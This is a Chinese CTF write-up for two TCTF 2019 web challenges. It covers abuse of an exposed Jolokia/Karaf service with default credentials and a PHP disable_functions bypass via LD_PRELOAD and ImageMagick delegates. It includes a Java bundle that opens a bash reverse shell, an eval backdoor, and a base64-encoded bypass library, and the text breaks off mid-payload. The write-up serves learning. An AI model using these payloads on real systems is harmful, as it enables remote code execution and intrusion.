TCTF 2019 Web writeup

Hard TCTF with Hell Mode

TCTF/0CTF 每年都这么难 ... 还好大佬快做出来抬了我一手才有机会。是队友太强了,还是我太弱了,想都不用想,肯定是后者,不能再划了 ...

Ghost Pepper

http://111.186.63.207:31337

首先信息收集,本题初始信息很少,而且我对 JAVA 不了解,只能一点点找信息,然而找到的信息十分有限。除了比较容易观察到的 Jetty 版本外,其他的信息很难获得。题目采用了 HTTP AUTH,用户名和密码可以在部分页面的提示中看到。另外在猜目录时发现一个提示。

http auth karaf : karaf
Jetty:// 9.3.24.v20180605

根据 karaf 采集更多的信息,然而当时并没有意识到这也是一个容器,划了很长时间。

这里引一段 p4 对 hint 的理解

Karaf is OSGi provider, and coincidentally the default user/password for the web interface is karaf:karaf.

Now that we passed the authentication, we try to look around, but everything returns 404.

We guessed that maybe the challenge name is some kind of hint. Ghost pepper is otherwise known as jolokia, and this happens to be a name of Java JMX-over-HTTP service.

最后队内大佬在爆目录时给我一个 HTTP payload。报文 POST 请求地址 http://111.186.63.207:31337/jolokia/ ,以 JSON 格式发送,向服务器进行一些请求,具体是 dumpheap。搜索一些资料后发现关于 Jolokia 的一些攻击方法。

根据 Ricterz 的这篇 Exploiting Jolokia Agent with Java EE Servers 了解到的信息:

  1. 通过 Jolokia,可以方便的操作 MBean
  2. JNDI 注入
  3. 信息泄露

然而后两者在本题中并没有起到太大的作用。根据其可以操作 MBean 的特性,我们需要找到能够帮助我们的操作。可以在 https://jolokia.org/reference/html/index.html 看到支持的相关操作,如 list、exec。

访问 http://111.186.63.207:31337/jolokia/list 可以得到可访问的 MBeans 以及他的访问方式(接口)

The list operation collects information about accessible MBeans. This information includes the MBean names, their attributes, operations and notifications along with type information and description (as far as they are provided by the MBean author which doesn't seem to be often the case).

结果太长了,只贴两个关键 payload 的部分接口。
org.apache.karaf:name=root,type=feature:installFeature:

说明:http://karaf.apache.org/manual/latest/#_mbeans

osgi.core:framework=org.eclipse.osgi,type=framework,uuid=5a4b417d-6366-4cf9-b959-e7d5c8779358,version=1.7:installBundleFromURL:

这两者从结果往前推很容易理解,但是从诸多的 MBeans 中找到他们却不容易,对于我这种不熟悉的人来说,可能需要翻一翻文档了 http://karaf.apache.org/manual/latest/

Solution 1

对于 Java Web 来说,一般会有一个 webconsle 的,不妨在其中搜索 webconsole 的信息。webconsle 提供了很多功能 http://karaf.apache.org/manual/latest/#_webconsole_2

重要的部分如下:

4.19.1. Installation
To enable the Apache Karaf WebConsole, you just have to install the webconsole feature:

karaf@root()> feature:install webconsole
The webconsole feature automatically installs the http feature (see the [WebContainer section|webcontainer] for details).

4.19.2. Access
The Apache Karaf WebConsole uses the WebContainer port number (see the [WebContainer section|webcontainer] for details) with the /system/console context.

By default, the Apache Karaf WebContainer port number is 8181.

It means that the Apache Karaf WebConsole is accessible on the following URL: http://localhost:8181/system/console

As the Apache Karaf WebConsole uses the security framework, an username and password will be prompted.

You have to enter an username/password from the karaf realm. By default, you can use karaf/karaf.

提供了一种安装方法,是在 karaf 的 feature 中安装,并且有一个访问接口以及认证方式,认证方式和我们获得的一致,姑且当做一种可行的解吧。根据 feature 来看,jolokia 也是通过此方式安装进去的。最终可以定位到:

Apache Karaf provides a bunch of MBeans.

The MBeans object names have the same format:

org.apache.karaf:type=[feature],name=[instance]

Installing additional Apache Karaf features and external applications can provide new MBeans.

The following MBeans list is non exhaustive:

  • org.apache.karaf:type=bundle,name=*: management of the OSGi bundles.

  • org.apache.karaf:type=config,name=*: management of the configurations.

  • org.apache.karaf:type=diagnostic,name=*: creation of dumps containing the current Apache Karaf activity (used for diagnostic).

  • org.apache.karaf:type=feature,name=*: management of the Apache Karaf features.

  • org.apache.karaf:type=http,name=*: management of the HTTP service (provided by the http feature).

其中提到了管理 feature 的方式。我们在 list 中查到这个接口,可以发现它提供了多种操作(op):

addRepository: [{args: [{name: "p1", type: "java.lang.String", desc: ""}], ret: "void",…},…]
infoFeature: [{,…}, {args: [{name: "p1", type: "java.lang.String", desc: ""}],…}]
installFeature: [,…]
refreshRepository: {args: [{name: "p1", type: "java.lang.String", desc: ""}], ret: "void",…}
removeRepository: [,…]
uninstallFeature: [{args: [{name: "p1", type: "java.lang.String", desc: ""}], ret: "void",…},…]

利用其中的 installFeature 即可安装 feature。不过需要满足最开始的 json 格式,并且会有一个错误提示提醒你添加接口签名,因为他有多个重载。

burp0_url = "http://111.186.63.207:31337/jolokia"

burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Authorization": "Basic a2FyYWY6a2FyYWY=", "Content-Type": "application/json"} # 删了些内容

burp0_json={"arguments": ["webconsole"], "mbean": "org.apache.karaf:name=root,type=feature", "operation": "installFeature(java.lang.String)", "type": "EXEC"}

requests.post(burp0_url, headers=burp0_headers, json=burp0_json)

之后便可以想办法拿 flag 啦。

Solution 2

这是大佬队友找到的方法,同时也是预期解法吧,在 list 中有一个接口为 osgi.core:framework=org.eclipse.osgi,type=framework,uuid=5a4b417d-6366-4cf9-b959-e7d5c8779358,version=1.7:installBundleFromURL: ,可以远程安装 bundle,那么只需要 build 一个就好了。

参考了这篇 https://blog.csdn.net/love_taylor/article/details/75194394 在 idea 中建立了一个 osgi 的项目,build 之后放在服务器上就可以了。不过我在反弹 shell 时把格式写错了,最后还是队友把 flag 拿了(一步之遥,难过

简要过程:

  1. build 一个 bundle 并上传
  2. 调用 install(两个参数)
  3. 调用 startBundle

其中需要注意的是需要加上 uuid,可以再 list 中获取;bundle 的 id 就在返回值中,因为他两分钟重置,初始值就在94。

附一下最后的简版的 exp

    @Override
    public void start(BundleContext context) throws Exception {
        System.out.println("Hello World Bundle started!");
        
        Process proc = Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/x.x.x.x/x 0>&1"});
        BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
    }

Wallbreaker Easy

http://111.186.63.208:31340

题目环境:

Ubuntu 18.04 / apt install php php-fpm php-imagick

<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>

<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>

disable functions :

system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals

首先可以回顾下 CVE-2016-3714 - ImageMagick 命令执行分析 ,其中对委托进行了介绍。

题目依然有两种思路。一种思路主要参考巧用LD_PRELOAD突破disable_functions,利用 ImageMagick 调用第三方 bin,设置 ld_preload 注入 so,另外一种思路设置 PATH 来指定调用的第三方 bin 的路径。

solution 1

可以使用 docker 环境复现环境。

docker run -it --cap-add=SYS_PTRACE ubuntu:18.04 /bin/bash

我们先来看一下利用 LD_PRELOAD 加载 so 达到的效果,so 文件使用上文提到的博客中的已有的文件,具体原理不再说明了。

root@b68b3ab86cf8:/var/www/html# export EVIL_CMDLINE=id
root@b68b3ab86cf8:/var/www/html# export LD_PRELOAD=./bypass_disablefunc_x64.so
root@b68b3ab86cf8:/var/www/html# ls
uid=0(root) gid=0(root) groups=0(root)
bypass_disablefunc_x64.so  index.php  sh.sh
root@b68b3ab86cf8:/var/www/html#
root@b68b3ab86cf8:/var/www/html# unset LD_PRELOAD

可以发现已经执行了 id,接下来便是如此利用,如果不放心,可以在官方库的基础上添加后门。

在 mail 函数被禁用的情况下,我们需要寻找新的能够调用第三方 bin 的函数,根据题目中的提示,使用 php-imagick,我们可以从 php-imagick 的底层 ImageMagick 入手,ImageMagick 存在 delegate 问题,即其并没有实现所有文件格式的转换, 而是启动外部程序来进行转换, 就像后面提到的被禁用的 ghostscript, 如果要将图片转换为 pdf, 就需要调用 ghostscript 来转换, 而这就会启动新的进程, 触发 LD_PRELAOD。

主要思路是利用 putenv 来设置 LD_PRELOAD,并且通过已经安装的 ImageMagick 转换上传的文件从而调用第三方 bin,产生 execve 系统调用,即 spawn a new progress,bin 执行前,会调用 LD_PRELOAD 中的 so,此时其中的‘构造函数’便会运行。

在可被代理的文件类型中,有很多,基本都涉及到 mv 的执行。

cat /etc/ImageMagick-6/delegates.xml

<!DOCTYPE delegatemap [
<!ELEMENT delegatemap (delegate)+>
<!ELEMENT delegate (#PCDATA)>
<!ATTLIST delegate decode CDATA #IMPLIED>
<!ATTLIST delegate encode CDATA #IMPLIED>
<!ATTLIST delegate mode CDATA #IMPLIED>
<!ATTLIST delegate spawn CDATA #IMPLIED>
<!ATTLIST delegate stealth CDATA #IMPLIED>
<!ATTLIST delegate thread-support CDATA #IMPLIED>
<!ATTLIST delegate command CDATA #REQUIRED>
]>
<delegatemap>
……
  <delegate decode="bmp" encode="jxr" command="/bin/mv &quot;%i&quot; &quot;%i.bmp&quot;; &quot;JxrEncApp&quot; -i &quot;%i.bmp&quot; -o &quot;%o.jxr&quot;; /bin/mv &quot;%i.bmp&quot; &quot;%i&quot;; /bin/mv &quot;%o.jxr&quot; &quot;%o&quot;"/>
  <delegate decode="bmp" encode="wdp" command="/bin/mv &quot;%i&quot; &quot;%i.bmp&quot;; &quot;JxrEncApp&quot; -i &quot;%i.bmp&quot; -o &quot;%o.jxr&quot;; /bin/mv &quot;%i.bmp&quot; &quot;%i&quot;; /bin/mv &quot;%o.jxr&quot; &quot;%o&quot;"/>
  <delegate decode="ppt" command="&quot;soffice&quot; --convert-to pdf -outdir `dirname &quot;%i&quot;` &quot;%i&quot; 2&gt; &quot;%u&quot;; /bin/mv &quot;%i.pdf&quot; &quot;%o&quot;"/>
……
</delegatemap>

其中有很多可代理的转换。以 bmp 为例 /bin/mv "%i" "%i.bmp"; "JxrEncApp" -i "%i.bmp" -o "%o.jxr"; /bin/mv "%i.bmp" "%i"; /bin/mv "%o.jxr" "%o"

最后的 payload 如下:

file_put_contents("/tmp/2acbca788a86c8192b674bcc2bd1a46a/1.bmp",urldecode("BM%F6%00%00%00%00%00%00%006%00%00%00%28%00%00%00%0A%00%00%00%06%00%00%00%01%00%18%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00"));
file_put_contents("/tmp/2acbca788a86c8192b674bcc2bd1a46a/1.so",base64_decode("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAwAYAAAAAAABAAAAAAAAAACgUAAAAAAAAAAAAAEAAOAAGAEAAHAAZAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAkAAAAAAAAECQAAAAAAAAAAIAAAAAAAAQAAAAYAAAAICQAAAAAAAAgJIAAAAAAACAkgAAAAAABYAgAAAAAAAGACAAAAAAAAAAAgAAAAAAACAAAABgAAACgJAAAAAAAAKAkgAAAAAAAoCSAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAkAEAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAACECAAAAAAAAIQIAAAAAAAAhAgAAAAAAAAcAAAAAAAAABwAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQBmu54kfzcxZwtc39U0rFMjPldq7wAAAAADAAAADQAAAAEAAAAGAAAAiMIgAQAUQAkNAAAADwAAABEAAABCRdXsu%2BOSfNhxWBy5jfEO6tPvDm0Sh8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMACQA4BgAAAAAAAAAAAAAAAAAAfQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAHAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAiwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAnQAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAngAAABEAAAAAAAAAAAAAAAAAAAAAAAAAYQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAnAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAOAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAUgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAhAAAABIAAAAAAAAAAAAAAAAAAAAAAAAApgAAABAAFgBgCyAAAAAAAAAAAAAAAAAAuQAAABAAFwBoCyAAAAAAAAAAAAAAAAAArQAAABAAFwBgCyAAAAAAAAAAAAAAAAAAEAAAABIACQA4BgAAAAAAAAAAAAAAAAAAFgAAABIADABgCAAAAAAAAAAAAAAAAAAAdQAAABIACwDABwAAAAAAAJ0AAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9pbml0AF9maW5pAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAF9Kdl9SZWdpc3RlckNsYXNzZXMAcHJlbG9hZABnZXRlbnYAc3Ryc3RyAHN5c3RlbQBsaWJjLnNvLjYAX19lbnZpcm9uAF9lZGF0YQBfX2Jzc19zdGFydABfZW5kAEdMSUJDXzIuMi41AAAAAAACAAAAAgACAAAAAgAAAAIAAAACAAIAAQABAAEAAQABAAEAAQABAJIAAAAQAAAAAAAAAHUaaQkAAAIAvgAAAAAAAAAICSAAAAAAAAgAAAAAAAAAkAcAAAAAAAAYCSAAAAAAAAgAAAAAAAAAUAcAAAAAAABYCyAAAAAAAAgAAAAAAAAAWAsgAAAAAAAQCSAAAAAAAAEAAAASAAAAAAAAAAAAAADoCiAAAAAAAAYAAAADAAAAAAAAAAAAAADwCiAAAAAAAAYAAAAGAAAAAAAAAAAAAAD4CiAAAAAAAAYAAAAHAAAAAAAAAAAAAAAACyAAAAAAAAYAAAAIAAAAAAAAAAAAAAAICyAAAAAAAAYAAAAKAAAAAAAAAAAAAAAQCyAAAAAAAAYAAAALAAAAAAAAAAAAAAAwCyAAAAAAAAcAAAACAAAAAAAAAAAAAAA4CyAAAAAAAAcAAAAEAAAAAAAAAAAAAABACyAAAAAAAAcAAAAGAAAAAAAAAAAAAABICyAAAAAAAAcAAAALAAAAAAAAAAAAAABQCyAAAAAAAAcAAAAMAAAAAAAAAAAAAABIg%2BwISIsFrQQgAEiFwHQF6EMAAABIg8QIwwAAAAAAAAAAAAAAAAAA%2FzW6BCAA%2FyW8BCAADx9AAP8lugQgAGgAAAAA6eD%2F%2F%2F%2F%2FJbIEIABoAQAAAOnQ%2F%2F%2F%2F%2FyWqBCAAaAIAAADpwP%2F%2F%2F%2F8logQgAGgDAAAA6bD%2F%2F%2F%2F%2FJZoEIABoBAAAAOmg%2F%2F%2F%2FSI09mQQgAEiNBZkEIABVSCn4SInlSIP4DnYVSIsFBgQgAEiFwHQJXf%2FgZg8fRAAAXcNmZmZmZi4PH4QAAAAAAEiNPVkEIABIjTVSBCAAVUgp%2FkiJ5UjB%2FgNIifBIweg%2FSAHGSNH%2BdBhIiwXZAyAASIXAdAxd%2F%2BBmDx%2BEAAAAAABdw2ZmZmZmLg8fhAAAAAAAgD0JBCAAAHUnSIM9rwMgAABVSInldAxIiz3qAyAA6C3%2F%2F%2F%2FoSP%2F%2F%2F13GBeADIAAB88NmZmZmZi4PH4QAAAAAAEiNPYkBIABIgz8AdQvpXv%2F%2F%2F2YPH0QAAEiLBVEDIABIhcB06VVIieX%2F0F3pQP%2F%2F%2F1VIieVIg%2BwQSI09mgAAAOic%2Fv%2F%2FSIlF8MdF%2FAAAAADrT0iLBRADIABIiwCLVfxIY9JIweIDSAHQSIsASI01dAAAAEiJx%2Bim%2Fv%2F%2FSIXAdB1IiwXiAiAASIsAi1X8SGPSSMHiA0gB0EiLAMYAAINF%2FAFIiwXBAiAASIsAi1X8SGPSSMHiA0gB0EiLAEiFwHWSSItF8EiJx%2Bgl%2Fv%2F%2FycMAAABIg%2BwISIPECMNFVklMX0NNRExJTkUATERfUFJFTE9BRAAAAAABGwM7GAAAAAIAAADc%2Ff%2F%2FNAAAADz%2F%2F%2F9cAAAAFAAAAAAAAAABelIAAXgQARsMBwiQAQAAJAAAABwAAACg%2Ff%2F%2FYAAAAAAOEEYOGEoPC3cIgAA%2FGjsqMyQiAAAAABwAAABEAAAA2P7%2F%2F50AAAAAQQ4QhgJDDQYCmAwHCAAAAAAAAAAAAACQBwAAAAAAAAAAAAAAAAAAUAcAAAAAAAAAAAAAAAAAAAEAAAAAAAAAkgAAAAAAAAAMAAAAAAAAADgGAAAAAAAADQAAAAAAAABgCAAAAAAAABkAAAAAAAAACAkgAAAAAAAbAAAAAAAAABAAAAAAAAAAGgAAAAAAAAAYCSAAAAAAABwAAAAAAAAACAAAAAAAAAD1%2Fv9vAAAAALgBAAAAAAAABQAAAAAAAADAAwAAAAAAAAYAAAAAAAAA%2BAEAAAAAAAAKAAAAAAAAAMoAAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAAGAsgAAAAAAACAAAAAAAAAHgAAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAwAUAAAAAAAAHAAAAAAAAANAEAAAAAAAACAAAAAAAAADwAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD%2B%2F%2F9vAAAAALAEAAAAAAAA%2F%2F%2F%2FbwAAAAABAAAAAAAAAPD%2F%2F28AAAAAigQAAAAAAAD5%2F%2F9vAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoCSAAAAAAAAAAAAAAAAAAAAAAAAAAAAB2BgAAAAAAAIYGAAAAAAAAlgYAAAAAAACmBgAAAAAAALYGAAAAAAAAWAsgAAAAAABHQ0M6IChEZWJpYW4gNC45LjItMTArZGViOHUyKSA0LjkuMgAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQCQAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgC4AQAAAAAAAAAAAAAAAAAAAAAAAAMAAwD4AQAAAAAAAAAAAAAAAAAAAAAAAAMABADAAwAAAAAAAAAAAAAAAAAAAAAAAAMABQCKBAAAAAAAAAAAAAAAAAAAAAAAAAMABgCwBAAAAAAAAAAAAAAAAAAAAAAAAAMABwDQBAAAAAAAAAAAAAAAAAAAAAAAAAMACADABQAAAAAAAAAAAAAAAAAAAAAAAAMACQA4BgAAAAAAAAAAAAAAAAAAAAAAAAMACgBgBgAAAAAAAAAAAAAAAAAAAAAAAAMACwDABgAAAAAAAAAAAAAAAAAAAAAAAAMADABgCAAAAAAAAAAAAAAAAAAAAAAAAAMADQBpCAAAAAAAAAAAAAAAAAAAAAAAAAMADgCECAAAAAAAAAAAAAAAAAAAAAAAAAMADwCgCAAAAAAAAAAAAAAAAAAAAAAAAAMAEAAICSAAAAAAAAAAAAAAAAAAAAAAAAMAEQAYCSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAMAEwAoCSAAAAAAAAAAAAAAAAAAAAAAAAMAFADoCiAAAAAAAAAAAAAAAAAAAAAAAAMAFQAYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFgBYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgCyAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAGQAAAAIACwDABgAAAAAAAAAAAAAAAAAALgAAAAIACwAABwAAAAAAAAAAAAAAAAAAQQAAAAIACwBQBwAAAAAAAAAAAAAAAAAAVwAAAAEAFwBgCyAAAAAAAAEAAAAAAAAAZgAAAAEAEQAYCSAAAAAAAAAAAAAAAAAAjQAAAAIACwCQBwAAAAAAAAAAAAAAAAAAmQAAAAEAEAAICSAAAAAAAAAAAAAAAAAAuAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzQAAAAEADwAACQAAAAAAAAAAAAAAAAAA2wAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAA5wAAAAEAFgBYCyAAAAAAAAAAAAAAAAAA9AAAAAEAEwAoCSAAAAAAAAAAAAAAAAAA%2FQAAAAEAFgBgCyAAAAAAAAAAAAAAAAAACQEAAAEAFQAYCyAAAAAAAAAAAAAAAAAAHwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMwEAACAAAAAAAAAAAAAAAAAAAAAAAAAATwEAABAAFgBgCyAAAAAAAAAAAAAAAAAAVgEAABIADABgCAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfwEAABEAAAAAAAAAAAAAAAAAAAAAAAAAlAEAABAAFwBoCyAAAAAAAAAAAAAAAAAAmQEAABAAFwBgCyAAAAAAAAAAAAAAAAAApQEAABIACwDABwAAAAAAAJ0AAAAAAAAArQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwQEAABEAAAAAAAAAAAAAAAAAAAAAAAAA2AEAACAAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIACQA4BgAAAAAAAAAAAAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY2NzAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGJ5cGFzc19kaXNhYmxlZnVuYy5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBlbnZpcm9uQEBHTElCQ18yLjIuNQBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2Vudmlyb25AQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AHN0cnN0ckBAR0xJQkNfMi4yLjUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v%2F%2FbwIAAAAAAAAAuAEAAAAAAAC4AQAAAAAAADwAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAPgBAAAAAAAA%2BAEAAAAAAADIAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADAAwAAAAAAAMADAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA%2F%2F%2F%2FbwIAAAAAAAAAigQAAAAAAACKBAAAAAAAACYAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7%2F%2F28CAAAAAAAAALAEAAAAAAAAsAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADQBAAAAAAAANAEAAAAAAAA8AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAwAUAAAAAAADABQAAAAAAAHgAAAAAAAAAAwAAAAoAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAADgGAAAAAAAAOAYAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAABgBgAAAAAAAGAGAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB%2BAAAAAQAAAAYAAAAAAAAAwAYAAAAAAADABgAAAAAAAJ0BAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAAGAAAAAAAAAGAIAAAAAAAAYAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIoAAAABAAAAAgAAAAAAAABpCAAAAAAAAGkIAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACSAAAAAQAAAAIAAAAAAAAAhAgAAAAAAACECAAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAoAAAAAEAAAACAAAAAAAAAKAIAAAAAAAAoAgAAAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKoAAAAOAAAAAwAAAAAAAAAICSAAAAAAAAgJAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC2AAAADwAAAAMAAAAAAAAAGAkgAAAAAAAYCQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAA